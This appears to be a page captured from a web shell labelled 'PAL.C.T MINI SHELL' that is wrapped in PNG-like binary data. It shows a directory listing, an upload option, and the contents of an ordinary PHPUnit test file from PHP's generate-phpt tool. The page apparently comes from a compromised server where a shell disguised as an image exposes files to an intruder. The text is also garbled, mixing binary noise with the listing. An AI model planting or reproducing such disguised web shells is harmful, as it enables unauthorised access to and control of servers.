php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/scripts/dev/generate-phpt/tests/
upload
files >> //php-7.1.11/scripts/dev/generate-phpt/tests/gtVariationTestCaseFunctionTest.php

<?php
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__) . '/../src/gtAutoload.php';

class gtVariationTestCaseFunctionTest extends PHPUnit_Framework_TestCase {

  public function testTestCase() {
   
    $f = new gtFunction('cos');
    $f->setArgumentNames();
    $f->setArgumentLists();
    
    $optSect = new gtOptionalSections();
    
    $vtc = gtVariationTestCase::getInstance($optSect);
    $vtc->setUp($f, 1, 'int');
    $vtc->constructTestCase();
    
    $fs = $vtc->toString();
    $this->assertTrue(is_string($fs));
    
  }

  public function testTestCase2() {
    
    $f = new gtFunction('date_sunrise');
    $f->setArgumentNames();
    $f->setArgumentLists();
    $a = $f->getMandatoryArgumentNames();
    
    $optSect = new gtOptionalSections();
    
    $vtc = gtVariationTestCase::getInstance($optSect);
    $vtc->setUp($f, 6, 'int');
    $vtc->constructTestCase();
    
    $fs = $vtc->toString();
    $this->assertTrue(is_string($fs));
    
  }
  
  public function testTestCase3() {
    
    $f = new gtFunction('date_sunrise');
    $f->setArgumentNames();
    $f->setArgumentLists();
    
    $optSect = new gtOptionalSections();

    $vtc = gtVariationTestCase::getInstance($optSect);
    $vtc->setUp($f, 6, 'array');
    $vtc->constructTestCase();
    
    $fs = $vtc->toString();
    $this->assertTrue(is_string($fs));
    
  }
}
?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`